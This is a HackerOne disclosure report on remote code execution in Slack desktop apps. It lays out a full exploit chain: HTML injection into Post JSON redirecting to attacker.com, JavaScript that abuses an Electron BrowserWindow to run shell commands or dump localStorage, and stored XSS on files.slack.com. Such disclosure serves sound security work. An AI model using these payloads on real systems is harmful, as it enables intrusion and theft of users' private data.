Lucene search

K
hackeroneOskarsvH1:783877
HistoryJan 27, 2020 - 12:05 a.m.

Slack: Remote Code Execution in Slack desktop apps + bonus

2020-01-2700:05:37
oskarsv
hackerone.com
280

Summary

With any in-app redirect - logic/open redirect, HTML or javascript injection it’s possible to execute arbitrary code within Slack desktop apps. This report demonstrates a specifically crafted exploit consisting of an HTML injection, security control bypass and a RCE Javascript payload. This exploit was tested as working on the latest Slack for desktop (4.2, 4.3.2) versions (Mac/Windows/Linux).

To demonstrate the impact of this RCE vulnerability and how it could be used in various scenarios, a new approach was developed for the starting point (HTML injection & payload) as vulnerabilities reported previously cannot be used anymore #738229.

Finally, as an added bonus, a XSS vulnerability on https://files.slack.com is demonstrated as a possible RCE payload store. I chose to not report this separately as it seems the domain is out of scope (?), however the vulnerability in my opinion is critical by itself and should be fixed either way.

{F697022}

Technical description and steps of reproduction

Exploitation steps:

  1. Upload file on your HTTPS enabled server with the RCE payload
  2. Prepare a Slack Post with HTML injection
  3. Share Post with channel or user

User steps:

  1. click on a large post with an enticing image - code executed on PC

Actual path after user click:

  1. HTML redirects user’s desktop app to attacker website in _top frame
  2. Attacker website replies with RCE javascript
  3. exploit bypasses Slack desktop app env, leaks an Electron object and via it executes arbitrary commands on user’s PC.

NOTE: This could also be done with any XSS/in-app redirect vulnerability.

HTML injection - directly editing Slack Post structure as JSON

1. create a new Slack Post with some title and some content

When you create a new Slack Post, it creates a new file on https://files.slack.com with the following JSON structure:

{"full":"<p>content&lt;\/p&gt;","preview":"<p>content&lt;\/p&gt;"}

{F696858}

The URL to a private file can be found by visiting the private file link returned by the /api/files.info call:
{F696861}

The private file URL is in the format https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE under url_private response from /api/files.info. The Slack Post JSON structure can be observed by simply visiting the private file link.

2. Injecting HTML payload

It’s possible to directly edit this JSON structure, which can contain arbitrary HTML. Javascript execution is restricted by CSP and various security protections are in place for HTML tags (i.e. banned iframe, applet, meta, script, form etc. and target attribute is overwritten to _blank for A tags).

However, it is still possible to inject area and map tags, which can be used to achieve a one-click-RCE.

To edit the JSON structure directly and inject in that way, you can use the web UI provided by Slack itself:

https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit

YOUR-MEMBER-ID you can copy from your profile view, it’s in the format UXXXXXXXX

{F696964}

Alternatively, it’s possible to upload a Javascript/JSON snippet and change it’s filetype to docs by editing the filetype parameter with a HTTP proxy.

Upload payload.json with the JSON below:
{F696941}

Change filetype by intercepting request when when editing file, e.g. change title and intercept HTTP request to /api/files.edit:
{F696942}

Since no HTML embedding is possible and various interesting tags are restricted + Javascript is not available because of existing protections and a defined CSP, a new HTML injection payload was developed:

<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000">
&lt;map name="slack-img"&gt;
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html">
&lt;/map&gt;

Note this payload requires an image to reference with the attribute usemap. This can be hosted in Slack infrastructure by uploading an image to Slack beforehand.

JSON to provide for Slack Post edit @ https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit payload.json:

{
  "full": "asd",
  "preview": "<img src width="\&quot;10000\&quot;" height="\&quot;10000\&quot;">&lt;map name=\"slack-img\"&gt;<area shape="\&quot;rect\&quot;" coords="\&quot;10000,10000" href>&lt;/map&gt;"
}

3. RCE exploit code - hosted on attacker’s website

the URL link within the area tag would contain this HTML / JS exploit for Slack Desktop apps which executes any attacker provided command:

&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
  // overwrite functions to get a BrowserWindow object:
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () =&gt; true
  window.desktop.window = {}
  window.desktop.window.open = () =&gt; 1
  bw = window.open('about:blank') // leak BrowserWindow class
  nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
  nbw.loadURL('about:blank') // need to load some URL for interaction
  nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

For windows just replace open /Applications/Calculator.app with calc or anything else.

To test the RCE payload, you can open Developer Tools on any Slack Desktop app and paste only the Javascript code in console. It achieves RCE and illustrates that it’s independent of any entry point - i.e. redirect within the desktop app.

4. easy access to all private data without command execution

The payload can be easily modified to access all private conversations, files, tokens etc. without executing commands on the user’s computer:

&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () =&gt; true
  window.desktop.window = {}
  window.desktop.window.open = () =&gt; 1
  bw = window.open('about:blank')
  nbw = new bw.constructor({show: false}) // node not necessary for this demo
  nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment 
  nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

{F697023}

Essentially, this gives an attacker full remote control over the Slack desktop app via overwriting Slack desktop app env functions and providing a “tunnel” via BrowserWindow to execute arbitrary Javascript, i.e. a weird XSS case with full access to anything the Slack app has - easy access to private channels, conversations, functions etc.

files.slack.com - alternate payload store and an XSS in itself

During search for an entry point for the RCE exploit, it was discovered that emails (when sent as plaintext) are stored unfiltered on Slack servers at https://files.slack.com and with direct access returned as text/html, without force-download.

This HTML file upload functionality can be used for storing the RCE payload - no need to use own hosting.

{F697020}

Since it’s a trusted domain, it could contain a phishing page with a fake Slack login page or different arbitrary content which could impact both security and reputation of Slack. There are no security headers or any restrictions at all as far as I could tell and I’m sure some other security impact could be demonstrated with enough time.

{F697019}

How to upload html to files.slack.com

Any email client can be used, i.e. in macOS’s default client you can press CMD+SHIFT+T to make an email plaintext, copy paste the RCE payload from above and embed it in your Slack Post HTML injection.

{F697018}

As the “Send To Slack” email address, you have to use your custom email integration address or private email address - instructions. Scroll to “Send one email at a time into Slack with forwarding address” for easy setup - no app integration or installs necessary.

The uploaded HTML file can then be found via the UI “open original” or by the same /api/files.info API call on e-mail file id and then visiting the url_private link.

TL;DR

  • HTML injection path via web UI - direct editing of Post file structure
  • alternatively HTML injection via file conversion from Javascript/JSON to docs - achieves same goal of editing Post structure directly
  • new pure HTML payload to redirect Slack Desktop app
  • new OS-agnostic Remote Code Execution payload - requires any kind of in-app redirect to a malicious page
  • XSS in files.slack.com without restriction via e-mail
  • all files of course must be shared with the recipients via the usual methods otherwise private files are inaccessible

Impact

Remote Code Execution in Slack desktop apps:

  • access to private files, private keys, passwords, secrets, internal network access etc.
  • access to private conversations, files etc. within Slack
  • payload could be made “wormable” - re-post to all user workspaces after click

XSS in files.slack.com

  • arbitrary HTML content in *.slack.com - trusted page
  • phishing with fake HTML login page
  • can be used to store above RCE exploit